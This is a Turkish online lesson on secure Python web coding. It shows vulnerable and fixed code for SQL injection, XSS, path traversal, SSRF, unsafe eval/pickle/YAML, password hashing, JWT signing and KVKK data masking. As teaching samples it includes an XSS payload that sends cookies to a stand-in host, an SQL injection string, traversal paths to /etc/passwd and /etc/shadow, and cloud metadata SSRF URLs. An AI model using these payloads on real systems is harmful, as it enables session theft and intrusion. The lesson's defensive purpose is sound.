Ana içeriğe geç
Kesit Python
İleri · Web ve API

Güvenli Python ve web güvenliği

OWASP Top 10 çerçevesinde SQL enjeksiyonu, XSS, CSRF, yol geçişi, güvensiz serileştirme ve gizli bilgi sızıntısını Python koduyla gösterip kapatırsın; parolayı tuzlu PBKDF2 ile saklar, HMAC ile imzalı token üretir, KVKK için kişisel veriyi maskeler ve anonimleştirirsin.

Uygulamada aç, 28 alıştırmayı çözÜcretsiz, hesap gerekmez, kurulum yok.

Bu sayfa dersin okuma sürümüdür. Metin bir kutuyu çalıştırmanı ya da adıma geçmeni söylüyorsa dersi uygulamada aç.

Neden önemli?

Ilgaz Bank'ın internet şubesinde tek bir parametresiz SQL sorgusu, saldırganın tüm müşteri tablosunu okumasına yeter. Anadolu Market'in yorum alanında kaçırılmamış tek bir HTML çıktısı, başka müşterilerin oturum çerezlerini çalan bir betiğe dönüşebilir. Güvenlik "sonra bakarız" denilecek bir katman değildir; her fonksiyonda verdiğin küçük kararların toplamıdır. Bu derste saldırıyı önce kendi gözünle görecek (sqlite3 ve saf Python ile, tamamen yerel ve zararsız), sonra doğru kalıpla kapatacaksın.

Etik çizgiBuradaki teknikleri yalnız kendi kodunda, kendi test ortamında ya da yazılı izin aldığın sistemlerde dene. İzinsiz sisteme saldırı denemesi Türkiye'de de suçtur (TCK 243-245).

OWASP Top 10: haritayı tanı

OWASP (Open Worldwide Application Security Project), web uygulamalarında en sık ve en zararlı açık kategorilerini düzenli olarak yayımlar. Aşağıdaki tablo OWASP Top 10:2025 listesini özetler (Kasım 2026'da owasp.org/Top10/2025 sayfasından okundu; Türkçe adlar bizim çevirimiz). 2021 listesine göre iki yeni başlık var: A03 tedarik zinciri, A06:2021 "Açıklı ve eski bileşenler" başlığını genişletir; A10 ise tümüyle yenidir. SSRF ayrı başlık olmaktan çıkıp A01 içine alındı. Sıralama da değişti: yanlış yapılandırma 5.'den 2.'ye çıktı, enjeksiyon 3.'den 5.'ye indi. Eski bir rapor ya da sınav sorusu 2021 numaralarını kullanıyorsa kodun yanındaki yılı oku.

KodKategoriPython'da tipik örnekTemel savunma
A01Bozuk erişim kontrolü (SSRF dahil)/hesap/42 adresinde sahiplik kontrolü yok; kullanıcının verdiği URL'ye sunucudan istekHer istekte "bu kayıt bu kullanıcının mı?"; hedef izin listesi
A02Güvenlik yanlış yapılandırmasıÜretimde DEBUG=TrueGüvenli varsayılan, denetim listesi
A03Yazılım tedarik zinciri hatalarıYıllardır güncellenmemiş ya da doğrulanmadan eklenmiş paketpip-audit, sürüm sabitleme, güvenilir kaynak
A04Kriptografik hatalarParolayı MD5 ya da düz metin saklamakPBKDF2/bcrypt/argon2, TLS
A05Enjeksiyon (SQL, komut, XSS)f-string ile SQL, shell=TrueParametre, kaçış, izin listesi
A06Güvensiz tasarımSınırsız deneme hakkı olan şifre sıfırlamaTehdit modelleme, oran sınırı
A07Kimlik doğrulama hatalarıZayıf parola, tahmin edilebilir tokensecrets, MFA, kilitleme
A08Yazılım ya da veri bütünlüğü hatalarıGüvenilmeyen veriyi pickle.loadsJSON, imza doğrulama
A09Güvenlik günlüğü ve alarm hatalarıBaşarısız girişler loglanmıyor ya da kimse uyarı almıyorYapılandırılmış log, alarm
A10İstisnai durumların yanlış ele alınmasıYetki servisi hata verince except: pass ile isteği geçirmek; yığın izini kullanıcıya göstermekHata durumunda reddet (fail closed), dar except, merkezi hata işleme

SQL enjeksiyonu: görmek ve kapatmak

Kullanıcı girdisini SQL metnine yapıştırdığında, girdi veri olmaktan çıkıp kod olur. Aşağıda giriş formu taklidi var; parolayı bilmeden içeri giriliyor.

import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE kullanici (ad TEXT, parola TEXT)")
db.execute("INSERT INTO kullanici VALUES ('ayse', 'Gizli!123')")

def giris_acikli(ad, parola):
    sql = f"SELECT COUNT(*) FROM kullanici WHERE ad = '{ad}' AND parola = '{parola}'"
    print("Çalışan SQL:", sql)
    return db.execute(sql).fetchone()[0] > 0

def giris_guvenli(ad, parola):
    sql = "SELECT COUNT(*) FROM kullanici WHERE ad = ? AND parola = ?"
    return db.execute(sql, (ad, parola)).fetchone()[0] > 0

saldiri = "' OR '1'='1"
print("Açıklı :", giris_acikli("ayse", saldiri))
print("Güvenli:", giris_guvenli("ayse", saldiri))

Parametreli sorguda (? ya da %s) değer sürücüye SQL metninden ayrı gider; içinde tırnak olsa bile hiçbir zaman kod olarak yorumlanmaz. Parametre yalnız değerler için çalışır; tablo ya da sütun adı (ör. kullanıcının seçtiği sıralama alanı) dinamikse onu bir izin listesiyle (allowlist) doğrularsın. ORM'ler (SQLAlchemy, Django) varsayılan olarak parametre kullanır; text() ya da raw() içinde f-string yazdığın anda bu koruma biter. Aynı ilke işletim sistemi komutları için de geçerlidir: subprocess.run(["ping", host]) liste biçiminde güvenlidir, shell=True ile metin vermek komut enjeksiyonuna kapı açar.

XSS ve HTML kaçışı

Siteler arası betik çalıştırma (Cross-Site Scripting, XSS), kullanıcı verisinin HTML'e kaçırılmadan basılmasıyla olur. Tarayıcı, yorum alanına yazılmış <script> etiketini sayfanın kodu sanar ve çalıştırır.

import html
from jinja2 import Environment

yorum = '<script>fetch("https://kotu.example/?c=" + document.cookie)</script>'
print("Kaçışsız :", "<p>" + yorum + "</p>")
print("Kaçışlı  :", "<p>" + html.escape(yorum) + "</p>")

env = Environment(autoescape=True)
sablon = env.from_string("<p>{{ ad }} yorum yaptı: {{ yorum }}</p>")
print(sablon.render(ad="Ayşe", yorum=yorum))
KarakterKaçışNeden
< >&lt; &gt;Etiket açılmasın
&&amp;Varlık (entity) karışmasın
" '&quot; &#x27;Öznitelik değerinden taşmasın

Jinja2'de autoescape=True (Flask'ta varsayılan açık), Django şablonlarında otomatik kaçış varsayılandır. Kaçışı |safe ya da Markup() ile kapatmak, "bu veriye güveniyorum" demektir; kullanıcı verisi için asla yapma. Ek savunma katmanı olarak Content-Security-Policy (CSP) başlığı ve çerezlerde HttpOnly kullanılır.

Parola saklama: özet, tuz, sabit zamanlı karşılaştırma

Parola asla düz metin ya da şifrelenmiş (geri çözülebilir) saklanmaz; yavaş, tuzlu bir özet (hash) saklanır. Tuz (salt) her kullanıcı için rastgele üretilir; aynı parolaya sahip iki kullanıcının özetleri farklı olur ve önceden hesaplanmış tablolar işe yaramaz. Yinelemeli (iterated) özet, her tahmini saldırgan için pahalı kılar. MD5 ve tek tur SHA-256 parola için uygun değildir, çünkü çok hızlıdır.

import hashlib, hmac, secrets

TUR = 100_000   # gerçekte sha256 için 600 bin civarı önerilir

def parola_ozetle(parola: str) -> str:
    tuz = secrets.token_bytes(16)
    ozet = hashlib.pbkdf2_hmac("sha256", parola.encode(), tuz, TUR)
    return "$".join(["pbkdf2_sha256", str(TUR), tuz.hex(), ozet.hex()])

def parola_dogrula(parola: str, kayit: str) -> bool:
    _, tur, tuz_hex, ozet_hex = kayit.split("$")
    aday = hashlib.pbkdf2_hmac("sha256", parola.encode(), bytes.fromhex(tuz_hex), int(tur))
    return hmac.compare_digest(aday.hex(), ozet_hex)

k1, k2 = parola_ozetle("Anadolu2025!"), parola_ozetle("Anadolu2025!")
print(k1[:40] + "...")
print("Aynı parola, farklı özet:", k1 != k2)
print(parola_dogrula("Anadolu2025!", k1), parola_dogrula("anadolu2025!", k1))

hmac.compare_digest iki değeri sabit zamanda karşılaştırır. Normal == ilk farklı karakterde durur; süre farkını ölçen bir saldırgan doğru öneki karakter karakter tahmin edebilir (zamanlama saldırısı). secrets modülü kriptografik olarak güvenli rastgelelik verir; token, tuz, sıfırlama kodu için random kullanılmaz, çünkü random tahmin edilebilir.

# Kendi bilgisayarında: pip install argon2-cffi bcrypt
from argon2 import PasswordHasher
ph = PasswordHasher()
kayit = ph.hash("Anadolu2025!")      # tuz ve parametreler kaydın içinde
ph.verify(kayit, "Anadolu2025!")      # yanlışsa VerifyMismatchError

import bcrypt
kayit = bcrypt.hashpw(b"Anadolu2025!", bcrypt.gensalt(rounds=12))
bcrypt.checkpw(b"Anadolu2025!", kayit)

Yeni projede argon2id ya da bcrypt tercih edilir; Django varsayılan olarak PBKDF2 kullanır ve argon2'ye geçmeyi destekler. Standart kütüphaneyle kalman gerekirse pbkdf2_hmac doğru seçimdir.

İmzalı token ve JWT

JWT (JSON Web Token) üç parçadır: başlık.yük.imza; ilk ikisi base64url ile kodlanmış JSON'dur. Yük şifreli değildir, herkes okuyabilir; güvenliği imzadan gelir: sunucu, gizli anahtarla HMAC-SHA256 imzası hesaplar ve gelen token'daki imzayla karşılaştırır. Yükte parola, TC kimlik no gibi gizli veri taşınmaz; exp (son kullanma) alanı mutlaka kontrol edilir.

import base64, hashlib, hmac, json

def b64(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

ANAHTAR = b"ortam-degiskeninden-gelen-uzun-rastgele-anahtar"
baslik = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
yuk = b64(json.dumps({"sub": "M-101", "rol": "musteri", "exp": 1767225600}).encode())
imza = b64(hmac.new(ANAHTAR, f"{baslik}.{yuk}".encode(), hashlib.sha256).digest())
token = f"{baslik}.{yuk}.{imza}"
print(token[:60] + "...")
# Yük herkes tarafından okunabilir:
print(json.loads(base64.urlsafe_b64decode(yuk + "==")))

Gerçek projede PyJWT kullan (jwt.encode, jwt.decode(token, anahtar, algorithms=["HS256"])). algorithms listesini her zaman açıkça ver; "alg: none" kabul eden doğrulayıcılar tarihin klasik açıklarındandır.

CSRF ve girdi doğrulama

Siteler arası istek sahteciliği (Cross-Site Request Forgery, CSRF), kullanıcı bankada oturum açıkken başka bir sitenin onun tarayıcısına gizlice "havale yap" formu göndertmesidir. Tarayıcı çerezi otomatik eklediği için sunucu isteği meşru sanar. Savunma: durum değiştiren her istek POST/PUT/DELETE olur, formda sunucunun ürettiği ve oturuma bağlı bir CSRF token bulunur, çerezler SameSite=Lax ya da Strict işaretlenir. Django bunu varsayılan yapar, Flask'ta Flask-WTF eklenir. Yalnız Authorization başlığıyla token taşıyan API'ler CSRF'ten büyük ölçüde etkilenmez.

Girdi doğrulamada kural: izin listesi, yasak listesinden iyidir. "Kötü karakterleri temizlemeye" çalışmak yerine neyin geçerli olduğunu tanımla (uzunluk, karakter kümesi, aralık, biçim) ve geri kalan her şeyi reddet. Pydantic dersinde gördüğün şema doğrulaması bunun en temiz yoludur. Doğrulama sunucuda yapılır; tarayıcıdaki doğrulama yalnız kullanıcı deneyimidir.

Yol geçişi (path traversal)

"Rapor indir" uç noktası dosya adını kullanıcıdan alıyorsa, ../../etc/passwd gibi bir ad kök klasörün dışına çıkar. Doğru savunma: yolu birleştir, resolve() ile gerçek yola çevir ve kök klasörün içinde kaldığını is_relative_to ile kontrol et. Metin olarak startswith kontrolü yetmez: /srv/raporlar_gizli, /srv/raporlar ile başlar.

from pathlib import Path

KOK = Path("/srv/raporlar").resolve()

def guvenli_yol(ad: str) -> Path:
    yol = (KOK / ad).resolve()
    if not yol.is_relative_to(KOK):
        raise PermissionError(f"izin verilmeyen yol: {ad}")
    return yol

for ad in ["2025/ocak.csv", "../../etc/passwd", "/etc/shadow", "../raporlar_gizli/x.csv"]:
    try:
        print("OK  ", guvenli_yol(ad))
    except PermissionError as e:
        print("RED ", e)

eval, pickle ve yaml.load: kodu veriyle karıştırma

eval/exec verilen metni kod olarak çalıştırır; kullanıcıdan gelen "formül" ile sunucunda istediği komutu çalıştırabilir. pickle.loads güvenilmeyen veride keyfi kod çalıştırabilir, çünkü pickle nesne kurarken çağrılacak fonksiyonu verinin içinde taşıyabilir. yaml.load da tam yükleyiciyle Python nesnesi kurabilir.

import ast, json, yaml

print(ast.literal_eval("[1, 2, {'a': 3}]"))          # yalnız sabit değerler
try:
    ast.literal_eval("__import__('os').getcwd()")
except ValueError as e:
    print("literal_eval reddetti:", type(e).__name__)

metin = "sunucu: anadolu\nport: 8080\netiketler: [web, api]"
print(yaml.safe_load(metin))
try:
    yaml.safe_load("!!python/object/apply:os.getcwd []")
except yaml.YAMLError as e:
    print("safe_load reddetti:", type(e).__name__)
print(json.loads('{"tutar": 150.5}'))                 # veri alışverişinde JSON
TehlikeliGüvenli alternatif
eval(girdi)ast.literal_eval, ya da ast ile sınırlı ifade değerlendirici
pickle.loads(dis_veri)json; pickle yalnız kendi ürettiğin ve imzaladığın veride
yaml.load(metin)yaml.safe_load(metin)
subprocess.run(metin, shell=True)subprocess.run(["komut", arg])
random.choice ile tokensecrets.token_urlsafe(32)

Bağımlılıklar ve gizli bilgiler

pip install pip-audit bandit
pip-audit -r requirements.txt     # bilinen açıkları (CVE) listeler
bandit -r src/                     # kodda eval, shell=True, zayıf hash gibi kalıpları arar
pip install --require-hashes -r requirements.txt   # paket bütünlüğü

Gizli bilgi (API anahtarı, veritabanı parolası, JWT anahtarı) koda ve git'e girmez: ortam değişkeni ya da bir gizli yönetici (Vault, bulut secret manager) kullanılır; .env dosyası .gitignore'a eklenir. Git geçmişine bir kez giren anahtar silinse bile geçmişte kalır; yapılacak şey anahtarı iptal edip yenisini üretmektir. Loglara parola, token, kart numarası yazılmaz; yazılacaksa maskelenir. Hata mesajları kullanıcıya iç ayrıntı (SQL, yığın izi) göstermez.

KVKK: kişisel veriyi korumak

6698 sayılı Kişisel Verilerin Korunması Kanunu (KVKK), kişisel veriyi işleyen her kurumu bağlar. Geliştirici olarak sorumluluğun: veri minimizasyonu (ihtiyacın olmayan alanı toplama), maskeleme (ekranda ve logda 123******01), takma adlandırma (pseudonymization: kimliği anahtarlı bir özetle değiştirmek; anahtar olmadan geri dönülemez ama aynı kişi aynı takma adı alır) ve anonimleştirme (kişiyi hiçbir şekilde tanımlanamaz hale getirmek: adı silmek, yaşı aralığa, adresi il düzeyine indirmek). Analiz ve test ortamına üretim verisi bu işlemlerden geçmeden kopyalanmaz.

import hmac, hashlib

ANAHTAR = b"kvkk-takma-ad-anahtari"

def maskele_tc(tc: str) -> str:
    return tc[:3] + "*" * 6 + tc[-2:]

def maskele_eposta(e: str) -> str:
    ad, alan = e.split("@")
    return ad[0] + "***@" + alan

def takma_ad(tc: str) -> str:
    return "K-" + hmac.new(ANAHTAR, tc.encode(), hashlib.sha256).hexdigest()[:10]

def yas_araligi(yas: int) -> str:
    alt = yas // 10 * 10
    return f"{alt}-{alt + 9}"

kayit = {"ad": "Ayşe Kaya", "tc": "12345678901", "eposta": "ayse.kaya@example.com", "yas": 34, "il": "İzmir"}
print("Maskeli :", maskele_tc(kayit["tc"]), maskele_eposta(kayit["eposta"]))
print("Analiz  :", {"kisi": takma_ad(kayit["tc"]), "yas": yas_araligi(kayit["yas"]), "il": kayit["il"]})
print("Aynı kişi aynı takma ad:", takma_ad("12345678901") == takma_ad("12345678901"))
Altın kurallarGüvenme, doğrula (girdi). Kaçır (çıktı). Parametrele (sorgu). Özetle ve tuzla (parola). Gizli tut (anahtar). En az yetki ver (hesap, veritabanı kullanıcısı). Logla ama maskele.
Gerçek işteBankacılık ve e-ticaret projelerinde kod incelemesinde (code review) güvenlik kontrol listesi kullanılır: SQL'de f-string var mı, şablonda |safe var mı, parola nasıl saklanıyor, endpoint sahiplik kontrolü yapıyor mu, log'a kişisel veri gidiyor mu. CI hattında bandit, pip-audit ve gitleaks gibi araçlar her PR'da çalışır; yüksek önem dereceli bulgu birleştirmeyi durdurur. Sızma testi (penetration test) yılda en az bir kez ve büyük sürümlerden önce yapılır.
Derinleş

Derste OWASP haritasını, enjeksiyonu, XSS'i ve parola saklamayı gördün; güvenlik başlıklarına ve SSRF'ye yalnız adıyla değindik. Bu bölüm dört konuyu uygulamaya döküyor: tarayıcıya "nasıl davran" diyen güvenlik başlıkları, sunucunu saldırganın vekiline çeviren SSRF, oturum çerezinin çalınmadan ele geçirildiği oturum sabitleme ve bağımlılık taramasının CI'a bağlanması.

Güvenlik başlıkları

Her HTTP yanıtına eklenen birkaç başlık, kodda bir hata olsa bile saldırının etkisini sınırlar (derinlemesine savunma).

BaşlıkÖrnek değerNeyi önler?
Content-Security-Policydefault-src 'self'; script-src 'self'; frame-ancestors 'none'XSS: yalnız izinli kaynaklardan betik çalışır, satır içi betik engellenir
Strict-Transport-Securitymax-age=31536000; includeSubDomainsHTTPS'ten HTTP'ye düşürme (SSL stripping)
X-Frame-OptionsDENYTıklama hırsızlığı (clickjacking): sayfanın başka sitede iframe içinde açılması
X-Content-Type-OptionsnosniffTarayıcının dosya türünü tahmin edip metni betik olarak çalıştırması
Referrer-Policystrict-origin-when-cross-originURL'deki token ve parametrelerin başka sitelere sızması
Set-Cookie bayraklarıSecure; HttpOnly; SameSite=LaxÇerezin HTTP'den gitmesi, JavaScript ile okunması, CSRF
# Flask: her yanıta başlık ekleyen kanca
@app.after_request
def guvenlik_basliklari(yanit):
    yanit.headers["Content-Security-Policy"] = "default-src 'self'; frame-ancestors 'none'"
    yanit.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
    yanit.headers["X-Content-Type-Options"] = "nosniff"
    yanit.headers["X-Frame-Options"] = "DENY"
    yanit.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
    return yanit
# Django: SECURE_HSTS_SECONDS, SECURE_CONTENT_TYPE_NOSNIFF, X_FRAME_OPTIONS ayarları; CSP için django-csp

CSP'yi doğrudan zorlamak eski sayfaları bozabilir; önce Content-Security-Policy-Report-Only ile yalnız raporla, ihlalleri topla, sonra zorla. 'unsafe-inline' ve 'unsafe-eval' CSP'nin XSS korumasını büyük ölçüde boşa çıkarır. HSTS'i ilk kez açarken max-age'i küçük başlat; tarayıcı bu süre boyunca siteye HTTP ile hiç bağlanmaz.

SSRF: sunucunu vekil yapmak

Sunucu tarafı istek sahteciliği (Server-Side Request Forgery), kullanıcının verdiği bir URL'ye sunucunun istek atmasıyla ortaya çıkar: "ürün görselini şu adresten içe aktar", "webhook adresin", "PDF'e çevrilecek sayfa". Saldırgan dış adres yerine http://169.254.169.254/ (bulut sağlayıcının meta veri servisi, geçici kimlik bilgileri burada), http://localhost:6379 (Redis) ya da http://10.0.0.5/admin gibi yalnız iç ağdan erişilebilen adresleri verir. İstek senin sunucundan çıktığı için güvenlik duvarı onu içeriden sayar.

import ipaddress, socket
from urllib.parse import urlsplit

def guvenli_mi(url, cozumle=socket.gethostbyname):
    parca = urlsplit(url)
    if parca.scheme not in ("http", "https") or not parca.hostname:
        return False
    try:
        ip = ipaddress.ip_address(cozumle(parca.hostname))
    except (OSError, ValueError):
        return False
    return ip.is_global              # özel, döngü, bağlantı-yerel, ayrılmış adresler False

sahte_dns = {"cdn.anadolu.example": "93.184.216.34", "ic.example": "10.0.0.5"}.get
for u in ["https://cdn.anadolu.example/a.png", "http://169.254.169.254/latest/meta-data/",
          "http://ic.example/admin", "file:///etc/passwd", "http://127.0.0.1:6379/"]:
    print(guvenli_mi(u, lambda h: sahte_dns(h) or h), u)

Kural listesi: yalnız http/https; adı DNS ile çözüp IP'yi denetle (ad kontrolü yetmez, ic.example iç IP'ye çözülebilir); mümkünse alan adı izin listesi kullan; yönlendirmeleri (redirect) kapat ya da her adımı yeniden denetle; denetlediğin IP'ye bağlan (DNS yeniden bağlama, DNS rebinding saldırısında ad ikinci sorguda başka IP'ye çözülür); yanıt boyutu ve süresi için sınır koy. Bulutta meta veri servisi için IMDSv2 gibi token zorunlu sürümleri aç.

Oturum sabitleme (session fixation)

Saldırgan önce siteden kendi oturum kimliğini alır, sonra kurbanın tarayıcısına bu kimliği yerleştirir (URL parametresi, alt alan adından çerez). Kurban giriş yaptığında sunucu aynı kimliği yetkili yapar; saldırgan da elindeki kimlikle kurbanın hesabına girer. Çare basittir: yetki düzeyi değiştiğinde (giriş, yetki yükseltme) oturum kimliğini yenile, eski kimliği geçersiz kıl; çıkışta oturumu sunucu tarafında sil. Django login() bunu kendiliğinden yapar (cycle_key); Flask'ta sunucu taraflı oturumda kimliği elle yenilemen gerekir. Ayrıca oturum kimliğini asla URL'de taşıma ve çerezlerde HttpOnly, Secure, SameSite kullan.

Bağımlılık taraması CI'da

pip-audit kurulu paketleri bilinen açık veritabanına (PyPI Advisory, OSV) karşı tarar. kalite-ci dersindeki iş akışına bir adım olarak eklenir; açık bulunursa iş kırmızı olur. Dependabot ya da Renovate, güncellemeleri otomatik PR olarak açar.

- name: Bağımlılık taraması
  run: |
    pip install pip-audit
    pip-audit -r requirements.txt --strict --desc
Gerçek işteSızma testi (pentest) raporlarının ilk sayfasında çoğunlukla eksik güvenlik başlıkları ve çerez bayrakları yer alır; bunlar en ucuz düzeltmelerdir. SSRF ise bulut ortamlarında kimlik bilgisi sızıntısına yol açtığı için en pahalı bulgular arasındadır. Kod incelemesinde "kullanıcıdan gelen URL'ye istek atılıyor mu?" sorusu ayrı bir madde olmalı.
Uzmanlaş

Tehdit modelleme

Kod yazmadan önce sor: varlıklarımız neler (müşteri verisi, para transferi), kim saldırabilir, hangi giriş noktaları var, en kötü senaryo ne? STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) her bileşen için bir kontrol listesi verir.

Derinlemesine savunma

Tek önleme güvenme. Parametreli sorgu + en az yetkili veritabanı kullanıcısı + WAF + izleme. Güvenlik başlıkları (Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options: nosniff), oturum çerezlerinde Secure; HttpOnly; SameSite, giriş ve şifre sıfırlamada oran sınırlama (rate limiting) ve hesap kilitleme, yetki kontrollerinde "varsayılan reddet".

Kriptografiyi kendin icat etme

Kendi şifreleme algoritmanı yazma; cryptography paketinin yüksek seviyeli Fernet API'si gibi denetlenmiş araçları kullan. Bu derste HMAC ile imza yazmamızın amacı mekanizmayı anlamaktır; üretimde PyJWT, itsdangerous gibi olgun kütüphaneler tercih edilir.

Alıştırmalara geç (28)